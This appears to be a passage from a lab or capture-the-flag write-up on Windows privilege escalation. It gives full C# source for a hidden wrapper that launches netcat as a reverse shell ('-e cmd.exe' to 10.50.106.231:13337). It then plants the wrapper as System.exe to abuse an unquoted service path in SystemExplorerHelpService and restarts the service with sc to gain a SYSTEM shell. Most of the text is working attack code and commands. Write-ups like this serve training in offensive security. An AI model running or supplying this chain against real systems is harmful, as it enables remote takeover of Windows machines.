04. Privilege Escalation
Netcat is already on the machine, so all I need is a small wrapper program that executes netcat as NT AUTHORITY\SYSTEM and calls back to my listener. I'll disguise it as System.exe to take advantage of the unquoted service path vulnerability found in SystemExplorerHelpService.
Install Mono
sudo apt install mono-devel
Write the Wrapper
Open a file called Wrapper.cs.
Start with the imports so the program can use functions from other namespaces:
using System;
using System.Diagnostics;
These allow netcat to be started. Next, set up a namespace and class:
namespace Wrapper {
class Program {
static void Main() {
// Netcat reverse shell here
}
}
}
Add the reverse shell itself:
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "10.50.106.231 13337 -e cmd.exe");
Make sure the program doesn't create a GUI window when it runs:
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
The completed program:
using System;
using System.Diagnostics;
namespace Wrapper {
class Program {
static void Main() {
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "10.50.106.231 13337 -e cmd.exe");
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
}
}
}
Compile
Compile with the Mono mcs compiler: mcs Wrapper.cs
Transfer it up using a Python server and curl.
Test the Wrapper
Start a listener and execute the program:
rlwrap -cAr nc -lvnp 13337
Plant It as System.exe
This works. Now rename it to System.exe and place it into the SystemExplorerHelpService file path C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe. Due to the unquoted file path vulnerability, the program will be executed with NT AUTHORITY\SYSTEM at this location: "C:\Program Files (x86)\System Explorer\System.exe".
Restart the Service
Restart SystemExplorerHelpService so the system executes the shell:
sc stop SystemExplorerHelpService
sc start SystemExplorerHelpService
And we have root!